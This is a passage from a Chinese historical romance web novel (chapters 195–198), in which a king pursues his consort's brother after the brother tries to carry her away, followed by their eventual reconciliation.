江轲在徽城这段时日,同石儿禄走得很近,有什么说什么,也不藏着掖着,问他:“石儿兄家中可立妻室?” 石儿禄见江轲认真问他,强把酒意散了散,正色道:“不曾立妻室,后院只有两个奴姬,遇上你阿姐后,我就把她们遣散了,再无旁的,现如今后院干干净净。” 安努尔把石儿禄横了一眼,让他说话注意分寸,这不是找死么,人家正正经经的男人在跟前,堂而皇之的抢女人? 可石儿禄根本不在乎,他也不怕。 江轲点了点头,又问:“从前的事是从前的事,这些不提,只说现在,石儿兄如何证明对我阿姐的心?毕竟你是越人,我阿姐是梁人,这中间隔着太多,要知道,越人同梁人并不能孕育子嗣,生出来的孩子为世人所不齿,这一点……” 江轲在说这话时有意无意地瞥向呼延吉,嘴角始终挂着一抹冷意。 然而,这间华舍内,不止呼延吉,还有安努儿把这话听进了心里。 呼延吉两眼越发冷沉,江轲同江念不同,骨子里以梁人的身份为傲,对梁国有很强的归属。 就因为呼延吉对江轲的了解,所以,他的筹谋不可能对江轲吐露。 他要征战天下,扫平六合,使风俗教化统一,既是为他自己,也为江念,更为他们以后的孩儿。 然而,对江轲来说,纵使梁国皇室毁了江家,他恨的也只是梁国皇帝,却不恨梁国。 所以,他不可能对江轲说,你放心,我不会负阿姐,会立她为大妃,还会同她生孩儿,因为我会把你们梁国一口吞并了。 他若这样说,估计江轲跳起脚就要跟他打,江轲对石儿禄说的那些话,明是说给石儿禄听,实是说给他的。 谁承想,石儿禄半点不作犹豫,说道:“轲儿说的这些问题在我这里都不是事。” 江轲听石儿禄如此一说,来了兴致,问道:“石儿兄的意思是?” 石儿禄懒懒地往桌沿一靠,先看了一眼呼延吉,再瞥了一眼安努尔,话中带了些苦味。 “你可能不知,我小时见过你阿姐,那个时候随家中管事到梁国贩生意,你阿姐那个时候看我了,还对我笑哩!”说着,往江轲身边近了近,“念念不忘。” 石儿禄说到“念念”二字时,腔调格外的轻柔,然后给自己倒了一杯酒,喝下,肃整面色,诚恳道:“我若娶你阿姐,定然一心一意待她,再不会有他人,也无需担心子嗣问题,不是非要子嗣不可。” “不要子嗣?”江轲有些吃惊石儿禄说出不要子嗣的话。 “不错,我同他俩不同。”石儿禄扫向呼延吉和安努尔,“我父亲不止我一个儿子,我上面还有两位兄长,无需我承继家业,就算没有子嗣也不当什么大事……” 话音未落,“哐当”声响,众人看去,却是呼延吉把桌上的酒器掀到地上,脸沉成了黑色。 石儿禄喝了酒,胆儿肥,他知道呼延吉不会把他怎样,遂呛声道:“你急什么,轲儿是阿念的胞弟,当初你怎么说的来着?婚嫁之事由兄弟说了算,如今人家真正的兄弟来了,还不准我说两句?” 呼延吉忍了一日,自打见到江轲后,他一直压着性子,这会儿也不装了,一脸狂态:“他是她兄弟又怎样,来晚了,他若早些出现,你说这话没问题,现在就不行!” “怎的不行?”江轲不干了,扬声问道。 呼延吉把身前的桌子一脚踹翻,也不端架子,全然一副桀逆之色:“你说怎么不行?她如今是我妻子,你个当弟弟的,手未免伸得太长。” 说罢又警告地瞪视了石儿禄一眼,石儿禄别过头,便不再言语了。 江轲听说如此,先是一怔,纵使气恼,却也不得不承认呼延吉的话没错。 不过他不管这些,他只有这么一个亲人,他并不认为阿姐同呼延吉在一起是好的选择,他会替她择一条更好、更平坦的路。 呼延吉同江轲两人吵闹是常态,上一刻二人还冷脸,下一刻二人又没脸没皮地举杯喝酒。 安努尔从旁看着也就不担心什么了,只是心里一直想着石儿禄刚才的那番话,目光不禁落到他的身上,正要同他说两句,呼延吉伸过一条胳膊把石儿禄一揽,给他递了一杯酒。 石儿禄接过酒盏,两人碰了碰,仰头喝下,刚才那事就过了。 一众人吃喝到三更方散。 呼延吉、江轲还有安努尔回了安府,进入府里,安努尔同他二人相别,去了自己的院子。 待安努尔走后,呼延吉抬脚就要去江念的院子,却被江轲拦住:“咱哥儿俩几年不见,走,走,我有好些话同你说。” “你有什么话,刚才还没说够?”呼延吉扫开他搭在自己肩头的手。 “几年的话,一下子怎么说够,而且刚才有他们在场,也不能什么都说。” 呼延吉冷笑一声:“昨儿我跟你一个屋,你怎的不说?” 江轲笑了笑:“昨夜没想起来,现在想起来了,走,走,咱们说夜话,而且这么晚了,你去阿姐房里,扰她不好睡。” 夜里,呼延吉同江轲二人,一个睡里间,一个睡外间,呼延吉把胳膊枕在脑后,启口道:“你到底怎么想的,我不能在此多耽搁。” 另一边静了一会儿,江轲的一双眼透过昏黑的光线,望着帐顶,神色晦暗不明地说道:“没怎么想。” 呼延吉把眼一睁,总觉着江轲的态度有些微妙,他同江念此次前来的意图再清楚不过,就是叫他随他二人一道回京都。 可他一直不给明话儿,好像在隐着什么,他再想问他,他就拿话岔开或是搪塞,这一感觉叫他不安。 “要不明日随我和阿姐回京都?”呼延吉试探问道。 江轲笑了一声,语态放松:“再说罢。” “什么叫再说?走还是不走一句话。” 江轲打了个哈欠,侧身朝里:“困了,有什么明日再说,莫要扰我睡觉。” 呼延吉见他言词敷衍,心头一沉,不知他在打什么主意…… 第195章 共侍一夫 次日一早,呼延吉从床上起身,往里间探看一眼,见江轲仍睡着,不也管那么多,打开门叫丫鬟进屋伺候梳洗。 响动使得江轲醒了过来,从床上坐起,见呼延吉已穿戴得差不多,说道:“你倒是起得早。”说罢,一抚额,“忘了,你苦命,每日要早朝,是个比鸡起得还早的人。” 呼延吉懒得理他,伸开臂膀,任丫鬟们伺候,一心惦着去江念屋里。 “对了,我央了安兄,叫他带我去徽城郊外遛风。”江轲说道。 呼延吉“嗯”了一声。 “你去不去?”江轲问道。 “昨晚喝多了,今日有些不适,不去了。” 江轲便不出声了。 呼延吉先穿戴好,就要往江念的院子行去,却被江轲叫住,让等他一道,呼延吉只好走出屋室,坐在院子里等着他。 好在没一会儿,江轲整装毕从屋里出来,两人一道去了江念的院子。 这日因着江轲到江念房中用早饭,而且又有呼延吉在场,阿史苓便没过来,只在自己房里用早饭。 早饭摆上桌,三人开始提筷。 “轲儿,这两日随阿姐启程回京都罢。”江念说道。 江轲手上一顿,笑道:“这么急,我还想在徽城多留两日。” 江念听后,想了想,看向呼延吉:“大王要不先回王庭,妾身陪轲儿在徽城多待几日。” 呼延吉手上事务繁重,出来一趟已是不易,江轲想在徽城游玩几日,并不是什么过分的要求,她肯定要陪着他一起,好不容易找回的阿弟,不能再叫他离眼。 呼延吉眼皮往下压了压,复又抬起,笑道:“他若想在徽城多留几日便多留几日,我怎好自己先回,无非就是几日的工夫。” 江轲看向呼延吉,似笑非笑道:“你这大王当得轻松,不理政务?” 江念眉头轻锁,看向江轲:“你好好说话。” 江轲被江念一斥责,就不开口了。 呼延吉并不在意,玩笑道:“要不你来当我的左右手,叫我更轻松些?” 江轲面色渐冷,说道:“这话莫要再提,你我二人做朋友可,做兄弟可,做君臣,不可。” 江念指尖一颤,端起碗,无声地吃起来,江轲把家国看得很重,他们的家没了,可他仍是梁国人,且骨子里对夷越人并不能真正接纳。 呼延吉脸色也冷下来。 江念见气氛有些僵,用公筷夹了几片肉铺放到江轲碗里:“这个味道不错,尝尝看。”一抬眼就见呼延吉看着自己,忙提起公筷,也给他夹了几片:“你也尝尝。” 呼延吉这才松下眉眼。 “对了,阿姐,今日安阿兄带我去郊外遛风,阿吉说他昨夜喝多了,不去,你陪我一道。”江轲将一片肉铺放入嘴里,说道。 江念点了点头,应下了。 呼延吉插进话来:“我刚才想了想,还是去罢。” “你早上那会儿不是说喝多了,头脑生闷么?”江轲说道。 “那会儿是那会儿,这会儿又好了,阿姐去的话,我肯定要陪在她身边。”呼延吉一本正经道。 江念看了他二人一眼,觉着两人说话的腔调有些怪。 江念吃得少,先吃好,拿香茶漱了口,然后双手规整地合叠在腿上,安静地坐着,等他二人用罢饭,没有防备,桌布下伸来一只手,将她的右手握住。 江念慌的惊呼了一声。 “阿姐怎么了?”江轲抬眼问道。 江念眼梢瞥见呼延吉没事人一样,仍埋头吃饭,忙说道:“没……没什么。” 江轲点了点头,继续吃起来。 江念挣了挣,却挣脱不出,只见呼延吉左手掩在桌帘下,右手执筷,面上若无其事地吃着,而掩于桌帘下的手,把她的一只手紧紧攥在手心,最后十指交扣。 江念的脸一下就红了,又不敢挣动出大响动,只好屈忍着,见江轲就要吃罢,呼延吉仍把她的手攥着不放,情急之下,抬起脚向他小腿踢去,谁知呼延吉反应更快,把她的脚夹在腿间。 这一下,江念不仅手失了自由,连那只脚也落不了地,焦急间,手上的力道骤然一松,刚想松口气,那力道又落到她的脚上,先在她的脚尖握了一下,再移到她的脚踝,捏了捏。 江念又是急又是羞,不一会儿,脸上热着,背后泌出薄汗,就在江轲放下筷子的同时,足上的力道松了,于是赶紧把腿放下,合拢。 呼延吉同时放下碗筷。 安努尔、石儿禄已在府外候着,江念着秋月去请阿史苓,另又叫上崔致远。 江念同阿史苓出了府门,就见马车边的高头马上驾坐两人,一个绛色圆领缺胯袍,腰系白玉带,过肩的鬈发,稳沉而肃整,见她看来,翻身下马,先行一礼,笑道:“上次一别,一切都好?” 江念回以一笑:“劳安阿兄记挂,一切都好。” 安努尔看着眼前人,有些难以移眼,人仍是那个人,却变得不一样了,眼角眉梢带着妍柔,是尝过蜜意的蜕变,比之从前多了一层别样的柔韵和娇媚。 曾经,她住在桂花巷,他一有空当就去她那里坐一坐,如今,她与他同住一个屋檐下,他却不便再见她。 另一匹花鬃马上之人,松散的鬈发编织成许多小辫,束成一股,随意摆在一侧,左耳挂了一錾金镶嵌绿松石的耳坠,一身郁金色外翻宽领窄袖袍,腰束兽纹皮革,愈发显得彪腹狼腰,足踏一双翘头高筒靴,飒爽不羁。 “阿念,好久不见。”石儿禄咧嘴笑道,身子稍稍前倾,一条胳膊横搁于腿上,问过后才下马行礼。 “石儿郎君还是这般有趣。”江念说笑了两句,然后在秋月的搀扶中上了马车。 待呼延吉从大门出来,石儿禄同安努尔又是一番见礼,礼毕,坐车的坐车,骑马的骑马,一行人往城外行去。 一路上风光甚好,山环水绕,到了一条清溪边,车马停下,仆从娴熟地架火烧水,支上小桌凳。 男子们聚到一处低头说着什么,江念同阿史苓带着各自的丫头沿着溪边慢走。 “念念姐……”阿史苓一副欲言又止的模样。 江念看出阿史苓有心事,问道:“怎么了,是不是有什么话要说?这次出来,我见你有些闷闷的,碰到难事了?” 阿史苓猛地抬起头,她的心头一片杂绪,自己都没料理清楚,却被江念看出藏有心事。 “这么明显么?” “看别人不容易,看你还是一眼就透的。” 两人在前面走着,两人的丫头还有半大的珠珠不近不远地随在身后。 阿史苓叹了一口气,说道:“那念念姐一定也看出我在为谁而愁烦了罢。” “阿多图大人?” 阿史苓便不出声了,再一抬头,两个眼眶微红。 江念以为阿史苓这丫头因贪看男子俊朗的姿容才对阿多图脸红,现下一看,并非如此。 阿史苓踢开脚边的一块小石子,又蹲下身,扯了一根草,站起身,将长草绕在指尖绞缠。 “他家中已有一妻室,可我不在乎,但是……就怕我家人不同意。” 江念沉吟片刻,问道:“阿多图大人可知晓你的心意?” 江念这样问,也是因为夷越这边风俗不同于梁,男女若是有情,是可以直剖心意。 阿史苓先是一怔,忙羞红脸摆了摆手:“没让他知道。” 江念心里一叹,合着这丫头是单相思,遂换了一种问法:“苓姑,如果,我是说如果,你家人同意你嫁给阿多图大人,你是否会选择嫁于他?” “自然愿意?”阿史苓回过头,向身后瞟了一眼,似是在找寻那人的身影。 “他已有妻室,你真不在意?” 阿史苓静了一会儿说道:“在意,但为了同他在一起,我可以放下这份在意,同那位女子和睦共处。” 江念摇了摇头:“不,你放不下,真正喜欢一个人,这份妒忌之心是不能消除的,你的爱意越浓,妒意就会越深。”江念停住脚,侧过身,看向一个方向,说道,“曾经我也以为可以,只要和他在一起,有些事我可以忍,其实不然,真的很难做到坦然,说是一回事,真当面对时,又是另一回事。” 阿史苓微微敛下眼皮,江念继续道:“我再问你,若他冷着你,却对他另一妻室宠惜,你又当如何呢,想过没有?” “不会的……”阿史苓赶紧说道。 “怎么不会呢?就我所知,阿多图大人只这一房妻室,再无旁的女子,他二人少年夫妻,相伴多年……” 江念说到后面住了嘴,没往下说去,因为对面的阿史苓开始无声落泪,一面落泪一面拿手背去拭,哭颤道:“可我就是喜欢他,真的很喜欢,我什么都不在乎……” 第196章 引诱占有 江念见阿史苓哭得伤心,从袖间抽出帕子递于她,待她止了哭声,才再次开口。 其实阿史苓钟情于阿多图,这中间有一段曲折,总之说来,就是老套的故事,四个字总结,英雄救美。 后来,美人儿倾心于救她的英雄,但英雄无动于衷…… “苓姑,其实这次你随我来徽城,并非为了游玩,是为了找机会同我说刚才的那些话,可对?” 阿史苓睁着湿漉漉的双眼看向江念,吃惊之余又有些不自在。 江念继续道:“你的意思我明白,担心家人不同意你嫁于阿多图大人,想让我同大王言明,给你二人赐婚,是也不是?” 阿史苓红着脸点了点头。 然而江念声音有些冷平,说道:“苓姑,这个要求我没法应下。” 阿史苓困惑地看着江念,满脸不解。 江念在她脸上望了望,声音软了下来,说道:“你想嫁于阿多图大人,不难,也就大王一句话的事情,阿多图大人忠于王,只要王的话,他都会遵从,但我却不能应下。” “为何呀?”阿史苓急问道。 “你为了同阿多图大人在一起,不介意与他人同侍一夫,可那位女子呢?你有没有想过,她介不介意?她……未必愿意。” 江念说罢,阿史苓怔了半晌没回神,讷讷道:“她不愿意?” “自然不愿意的,换了我,我也不愿。” 阿史苓脸上的血色渐褪,好像一直以来的希图破裂了,无望了。 江念不好劝她,这种事情需要她自己去消化。 “念念姐,我想去那边一个人坐会儿。”阿史苓低声道。 “去罢。”江念朝珍珠招手,叫她上前,叮嘱道,“看好你家主子。” 珍珠应下,随在阿史苓身后沿清溪往前缓步行走。 江念盯着阿史苓的背影看了一会儿,这时身后一个声音叫她。 “阿姐。” 江念转头看去,就见江轲牵着两匹马儿向她走来,将其中一匹马的缰绳递过来。 “要同我赛马?”江念接过缰绳,笑问道。 “咱们往前走走,说说话,阿吉忒烦人总是夹在中间,叫我同阿姐单独说话的机会也没有。”江轲说道。 江念噗嗤一笑,扭头远远看去,就见呼延吉正被安努尔、石儿禄还有崔致远几个围凑着,不知聊些什么。 “走罢。”江念牵着马儿往一个方向走去。 江轲同她并立而行,一人牵着一匹马,信步走着,边走边闲散地说着近况,谁也不愿提从前的事。 走了一会儿,江轲突然开口道:“阿姐,你愿不愿意跟我走?” 江念怔了怔,问道:“跟你走?” “是,我不可能待在夷越,这里不是我的家,也不是你的家,我们是梁人,该回到梁境,那里才是我们的家,是我们该归去的地方。” 江念驻足,看向江轲,眼中闪过一丝痛楚,说道:“轲儿,我们回不去,在梁国,我们是见不得光的罪人。” 人都是思乡的,在夷越她被当成异族,更深人静之时不是没思念过生养她的故土,可是家没了,亲人没了,他们回不去。 江轲立住脚,瞟了一眼远处的呼延吉,说道:“他没同你说么?” “说什么?” “太子出奔东境。” 一阵风过,江念耳边再听不见别的声音,只有那句话随风荡远,太子出奔东境…… 李恒,她曾经的未婚夫婿。 李恒本是大梁太子,勤恪贤明,宽和仁善,曾是大梁上至庙堂,下至百姓认为下一任帝王的不二人选,最后不知何因,被先帝罢黜太子之位,幽囚于太子府中,不,应是前太子府。 江家女郎也就是江念,同太子李恒明旨赐婚,只待完礼,不想这中间发生了变故。 一个被抄家,一个被废,一对天造地设的姻缘生生被拆散。 江念艰难地找回神思,问道:“说于我听。” 江轲便把事情头尾道了出来。 在江轲的叙述中,江念得知,李恒在旧部的帮助下逃离前太子府,去了大梁东境,那里已集齐他的旧部。 李恒虽然被废,可他并非没有任何倚仗,他的身后立着支持他的旧将,那些人隐忍不发,只等他一声令下。李恒此人表面看起来温和谦雅,实则明决,智珠在握。 “我打算去投靠太子殿下。”江轲说道,语气带了一点激动,“阿姐,你同我一道走,好不好?” 江念一时间有些难言,这消息太过突然。 江轲继续道:“我知道阿姐是被迫的,是阿吉那混账趁你落难,威逼引诱之下,阿姐不得不委身于他。” 江念摇了摇头,说道:“不是这样,轲儿,你错想了。” “阿姐不用替他说好话,阿姐总替别人着想,他就是拿捏住你这一点,叫你挣脱不开,咱们家从前那样待他,阿吉就是恩将仇报。” “是吉儿救的我,没有他,我死活不知,莫再这样说他。”江念有些气了。 江轲见她面带愠意,缓了缓,说道:“阿姐,他救你,这没错,我也感激,可他不该借此打你的主意,他难道不知你同他在一起后要面对什么?只顾自己的私心,把你占有,这不是恩将仇报?” 江轲越说越恨:“他若真有心,就该默默护着你,他不该……不该这样!” “轲儿!”江念打断他的话头,说道,“他没迫我,一切都是我心甘情愿。” 江轲根本不信,就他所知,阿姐儿时对呼延吉好是好,只是把他当作自家弟弟一般,再无旁的。 所以哪怕江念直言是她自愿,江轲也认定江念不想他同呼延吉有嫌隙,才替他辩解,再一个木已成舟,不得不替他遮掩和开脱。 江轲不在这个话上逗留,重回刚才的问话:“阿姐同我一道走,去大梁东境,可好?” 说罢,见江念不给回答,有些着急:“轲儿好不容易找到你,爹娘没了,阿姐是我在这世上唯一的至亲,难道忍心再次分别?” 江念低下头,默然不语。 江轲心底一凉,这便是无声地回答了,他怎么也没料到,他的阿姐有一日竟为了呼延吉而弃他。 他同呼延吉,她选择了后者。 江轲知道劝不动她,也不再强求,换了一种语调,面上带笑地说道:“是轲儿不好,叫阿姐为难,咱们现在不说这个,这么广阔的郊野,这么好的天气,怎能不迎风纵马,阿姐要不要同我比试一番?” “那你可愿留下?” 江轲悠长地叹了一声:“我不能勉强阿姐,阿姐也莫要强求我了罢。” 江念虽然舍不得他,不想二人再分开,可他已是二十出头的儿郎,有自己的想法,她既不能左右他的想法,更不能替他做主。 “那你往赴大梁东境后,给阿姐来信,报个平安。”江念说道。 江轲笑着点了点头,然后翻身上马:“就是走也不是现在,我得在徽城玩几日,也想多陪陪阿姐。”说着,一扬手,“快上马,咱们赛一赛。” 江念不再多言,将衣摆掖于腰间,翻身上马,接过江轲抛来的马鞭,往空中甩了甩,一声驾呵,马儿撒开蹄子往远处飞驰而去。 江轲扬鞭拍马紧随其后。 两人一前一后,快速在郊野之上逆风而驰。 跑了一会儿,江念发现江轲始终与自己并行,保持不大的距离,然后渐渐靠拢,两匹马越行越近,江念顶着劲风,稍稍眯起眼,正要开口叫他别行太近,江轲足点马镫,一个翻身落座到江念身后。 快速从江念手里接过缰绳,拍马扬鞭,比刚才更快的速度飞马而去。 “轲儿你做什么?”江念惊慌下灌了一口凉风。 江轲先时不语,接着说道:“得罪阿姐了,你不愿同我走,我只能这样带你走。” “你疯了,快停下。” 江轲越发策马扬鞭。 “江轲,你再不停下,我真恼了。”江念喊叫道,可她恼怒的叫喊很快被呼呼的风声扑灭。 江念开始心慌,怎么也没料到江轲有此一举,他一开始就预谋好的,他要带她离开夷越。 所以当她提及同回夷越京都,他一直找借口拖延,甚至今日出城只怕也是有意为之,寻一个支开呼延吉的机会。 江念用胳膊肘抵向身后的江轲,厉声道:“停下!我说的话听到没有?!我叫你立马停下!” 江轲受了江念一肘子,闷哼一声,却并不减速,他不能停,只有这一次机会把人带走。 江念见他态度坚决,一声不吭,情急之下就要跳下马背,却被江轲拦锢住。 “阿姐,你做什么?”江轲背后出了一身冷汗。 江念冷声道:“你怎的这样狠心,叫我夫妻分开?” “那我呢,我才是你的家人,你一女子浮寄他乡,又无亲人在身边,受了欺辱谁替你出头?我知你怨我,但为了阿姐的余生,就是再怨我,我也要把你带离夷越,情愿你嫁一普通梁人,平安一世,也不愿你在囚牢一样的王庭里,茫然不知以后。” 江念气恨得直想给他来一耳刮,奈何身子扭着,施展不出力道。 “他自册我为妃,再无旁人,护我如珍,你怎知我过得不好?” 江轲嗤笑一声:“现在没有不代表以后没有,谁能保证以后。” 江念简直同他说不通,一套一套歪理张嘴就来,蛮不讲理,横心要带她走…… 第197章 差点没被他打死 无论江念如何言语,江轲不听。 江念心里也发了狠,从头上抽出簪子,抵在自己的颈脖间。 “你要阿姐死是不是?” 江轲先是一怔,没想到她为了呼延吉做到这一步,正在踌躇之间,“咻——”的一声,一支利箭破空而来,从后擦着江轲的侧脸划过,扎进前面的地面。 江轲偏过头,匆匆往后一瞥,就见呼延吉一手执弓,一手挽辔,飞马追来,在他的身后还跟着几人,安努尔、石尔禄,还有呼延吉的亲随,那个叫阿多图的。 江念跟着往后看去,就见呼延吉躬身于马背,身子微微腾起,两腿夹于马腹,空出两只手,拈弓搭箭对准江轲。 “不要!”江念叫喊一句。 呼延吉眉头紧蹙,腮骨紧绷,放下长弓,把身下马驱策到极致,衣衫在风中鼓烈作响。 江轲见呼延吉离他还有一段距离,但这距离在缩短,呼延吉离他越来越近,遂加鞭策马拼了命地往前奔去。 风中传来呼延吉的怒喝。 “江轲,你放了她。” 江轲侧头看去,呼延吉死死咬在他的身后,两眼赤红,江轲不理,越发加快速度,两人似乎较上了劲儿。 “再不停下,休怪我不顾往日兄弟之情。”呼延吉大声道。 不提这个还罢,一提这个江轲气不打一处来,破口大骂:“去你娘的兄弟情,你欺我阿姐,可有顾念兄弟之情?” 呼延吉两眼一沉,再不顾什么,腾于马背之上,空出两手,拈弓搭箭,实实在在对准前方的江轲。 身后的安努尔和石儿禄见了,大声叫喊:“大王不可!” 不论怎样,江轲是江念的亲弟,呼延吉若真把江轲伤到,结果一定很难看,江念亦不好受,两边都是她最亲近之人,可他们看得出来,呼延吉已顾不得这些,只要涉及江念,他就有些失智和不计后果。 在两人的叫喊中,呼延吉三指一松,箭矢破空而去,又快又准,直直射中江轲的左肩。 江轲一声闷哼,利箭几欲将他的左肩对穿。 可这没完,呼延吉接着搭上第二支箭,一句话不说,就要射出,这次对准的是江轲的腿。 然而没等呼延吉射出箭矢,江念手拿玉簪,对着自己肩头刺去,拔出,温热的血立时溅到江轲的脸上。 “阿姐——”江轲惊呼道。 “你们二人闹成这样,叫我怎么做?”江念忍着疼痛,额上沁出豆大的汗珠。 江轲不敢再相逼,勒紧马头,遽停。 呼延吉不上一会儿,撵了过来,滚鞍下马,冲上前,揪着江轲一搡,按在地上就是一顿狠揍,手上不收半分力道,江轲左肩还有箭伤,全然无法还手。 “延吉,阿念受伤了。”石儿禄叫了一声。 呼延吉浑身一震,奔到江念身边,就见她肩头的浅色绢衣被血洇染了一大片,边缘血迹更深,不规则地镌了一圈。 江念这个时候疼狠了,说不出话来,面色发白,微阖着眼,吁着气。 呼延吉赶紧把她抱到马背之上,自己翻坐到她的身后,环住,瞥了一眼地上的江轲,冷冷地说道:“滚出我夷越!”,纵马离开。 阿多图随在身后一齐离开。 待呼延吉带江念走后,安努尔和石儿禄将地上的江轲扶起,探看了一眼他肩头的伤,问道:“怎么样?” 江轲顶着箭上的伤,嘶了一声:“差点没被他打死。” 石儿禄骂他活该:“你抢他媳妇,他不跟你拼命?” 安努尔摇了摇头,说道:“不知你们之间怎么回事,我们也不多问,只是你这伤口需得及时处理。” 江轲这会儿也不好走,由石儿禄看护着先回了安府。 安努尔重回驻车的地方,阿史苓同崔致远还在那里焦急地等着消息。 他二人还不知发生了何事,一开始见君王从树下解了马绳,飞身上马,闪电一般往一个方向追去,再之后其他几人也跟着追了出去。 “怎么回事?”崔致远问向安努尔。 “先回去再说,我们也不甚清楚。”安努尔答道。 崔致远点了点头,叫随从牵马来,翻身上马,阿史苓也在丫头的搀扶下上了马车。 回了安府,江念的伤口已包扎好,好在伤口并不深,没有伤到筋骨,不过面色仍是有些惨白。 “轲儿回了没?”江念问道。 呼延吉扶她靠坐于床上,给她身后塞上引枕。 江念见他不答话,又问:“他肩头的伤要不要紧?” 呼延吉侧身坐到床沿,说道:“放心,没伤到要害。” 江念点了点头。 呼延吉见她脸上神情恹恹的,起身从桌边端来汤药,说道:“你倒是对自己下得去手。” “那能怎么办,他性子倔强,你又在后面追得紧,不想你二人闹僵,最后还是成这样。”江念想了想,问道:“李恒的事情你怎么没同我提起?” 呼延吉舀汤药的手一顿,垂着眼皮,说道:“江轲告诉你的?” “嗯。” “说他干什么,你跟那人又没任何关系。” 江念没再说什么,呼延吉舀起汤药递到她嘴边:“不烫了。” 江念张嘴,喝下,呼延吉又舀了一勺递到她嘴边,江念抿嘴儿笑道:“我是左肩受伤,右手可以用,大王不用这样依就。” 呼延吉见她精神稍好,心情也跟着好了:“那也是我甘愿,就当给我找点事做。” 江念张嘴将一碗汤药一勺一勺喝了下去,喝过药后,人就有些发困,再加上受了一场惊,提不起劲。 “睡会儿?”呼延吉轻声道。 江念“嗯”了一声,呼延吉便贴心地将她身后的引枕拿去,将她肩头披的外衫宽去。 江念躺下不上一会儿,便睡了过去,呼吸变得绵长,屋里光线暗淡,阳光从格子窗射进屋里,被菱形格子凭空剪成斑驳的金片,洒到地砖上。 呼延吉也不褪靴,一条腿横在床沿,一条腿踩在脚榻,歪靠床头,侧头把床上的人看着,渐渐地也阖上眼。 过了一会儿,屋外有人声。 “郎君不能进去。” 是阿多图的声音。 “我阿姐如何了?” 听到这个声音,昏暗中呼延吉慢慢撩开眼皮,先看了一眼熟睡的江念,轻着手脚慢慢坐起身,走到房门边,推开门,闪身而出,房门慢慢阖上。 两人一个台阶上,一个台阶下,毫不退让地盯着对方。 呼延吉的目光落到江轲的肩头,那里已包扎了纱布,于是拿下巴往旁边一撇,江轲会意,知道这里说话不方便,遂走到院外。 呼延吉对阿多图吩咐道:“守好。” “是。”阿多图恭声应下。 随即呼延吉走出院外,不看江轲一眼,径直错过他的身,走向前方的凉亭内,江轲跟了过去。 呼延吉撩开衣摆,阔坐下,看向坐于他对面的江轲,冷冷说道:“你能坐在这儿同我说话,全是我看着阿姐的面子,我对你多有容忍,也是因着阿姐。” 江轲身子往后一靠,两腿打直,懒散闲适,完好的那条臂膀搭上栏杆,眼睛先是往下,怔了一会儿,然后抬眼看向对面。 “我带不走她,她也不愿跟我走。”说到这里江轲苦笑一声,问向呼延吉,“你是不是给我阿姐下了什么咒术,叫她连我这个亲弟弟也不要,我记得你们夷越有一种巫术,可以让一个人对另一人死心塌地。” 呼延吉把眼睛一闭,实在有些忍不了,想把眼前之人再打一顿。 一时间两人皆沉默不语。 “阿吉,你一定不要负了我姐,如果……”江轲说到这里,哽了哽喉,停了好一会儿,接着道,“如果哪一日有些事情变了,你不爱了,或是不能爱了,不管有没有苦衷,你去信给我,我来接她。” 呼延吉十分笃定地说道:“不会有这一日。” 江轲点了点头:“好!我信你一回。” 两人说到这里,算是把心结解了,呼延吉问了一句:“你之后打算怎么办,我这里,你是看不上的,打算去李恒那儿?” “你夷越如今强悍如厮,我可不敢小觑,只是立场不同罢了。”江轲说道。 呼延吉沉吟片刻,说道:“有无想过,你我二人会在战场遇上?” 江轲轻松地摆了摆手,笑道:“不会。” “你说了,你我二人立场不同,如何不会?” 江轲干脆起身,走到呼延吉身边坐下,揽着他的肩膀,叫了一声:“姐夫?” 激得呼延吉全身细毛立起,把他的胳膊从自己身上打掉:“拿开,拿开,我受不住你这一声。” 江轲不再玩笑,正了正面色,说道:“我说不会是因为太子仁德,他只从梁帝手里夺回本该属于他的皇位,并不会犯你夷越,所以咱俩不会敌对上,放心好了。” “是么?”呼延吉敛下眼皮,低声道。 江轲见他神色有些不对,撞了他一下:“你耷拉个脸做什么?我都把我姐让给你了,还不满足?” 呼延吉看向江轲,龇牙一笑,两人仿佛又回到儿时,远远听到凉亭里传来戏闹声。 “你说以后我叫你阿吉还是姐夫……” 第198章 绽放的柔晕 江念左肩头的伤口不深,包扎好后,休养了一日,精神又回来了。见江轲同呼延吉两人闹过后又勾肩搭背地称兄道弟,心里也跟着欢喜。 江轲也不急着走,主要还是想多和江念相伴几日,这一别不知几时再能相见。 以至于连日一醒就往他姐院子跑,晚间又拉着呼延吉同室而眠,美其名曰说夜话,其实就是故意的,不叫呼延吉在他眼皮子底下跟江念共衾同寝。 叫呼延吉好生苦恼,却又说不得他什么,每次只能趁江轲不在的一点间隙,跟江念温存一会儿,还得提心吊胆地防着,你不知他什么时候冒出来。 这日,因着天气凉爽,江轲懒洋洋地歪坐在院子里的秋千上,闭着眼,秋千轻轻晃荡,男子垂下的一片衣袂迎光闪着精细的纹路。 整个院子很静谧,天未大明之时下过一场细雨,地面微微湿着,植木葱郁,绿叶上盛着点点水珠,映着天光晶莹透亮。 江轲叉开两条腿侧坐在秋千上,倚着身后的网绳,偏头向屋中看去,屋子里光线微弱,即使门扇全开亦是淡淡的朦胧。 屋门敞开处有一圆桌,桌后坐着一静柔的女子,形容恬适,那是他的阿姐,在他印象中,阿姐是一个张扬傲娇的女子,现在的她还是她,只是眉目间不经意流露出的温柔在那人面前分外动人,那柔韧的光晕,只为阿吉绽放。 江轲叹了一声,便宜那小子了。 在她的身侧,呼延吉手支着面颊坐着,神情专注地看着她编织珍珠络,好似哪里编织错了,她侧过头问一边的侍女,那名叫秋月的侍女躬身指了指珠络,轻声说了几句。 然后他就见阿吉随意地抬起手,有一下无一下地拨动着珍珠络的穗子,阿姐也不阻他,由着他把玩。 江轲收回眼,享受这一片刻的闲适,这时,一个小人儿双手捧着果盘走入院中。 “小结巴,过来。”江轲招手道。 珠珠四顾张望,这才发现坐于树荫下的江轲,走了过去。 江轲看了一眼她手里的果盘,从盘中拎了一串红樱果儿,捻下一颗丢到嘴里,然后笑看向珠珠。 “你是王庭的宫婢?” 珠珠点了点头。 江轲又拿了一颗红樱果儿放入嘴里,问道:“你家人呢?” 江轲问罢,就见眼前的小丫头低下头不出声,心下了然,忙换了问话:“去过梁国么?” 珠珠慢慢抬起头,摇了摇脑袋。 江轲眉头一锁,问道:“怎么不说话,只知点头摇头?” 珠珠张了张嘴,脸更加红了,显得十分局促,仍是不开口。 江轲反起了逗弄的心思,故意问道:“你叫什么名儿?” 珠珠两眼一亮,说道:“珠……珠……” “嗯——这个名字配你正好。”江轲笑着,跟着念了一遍,“珠……珠……” 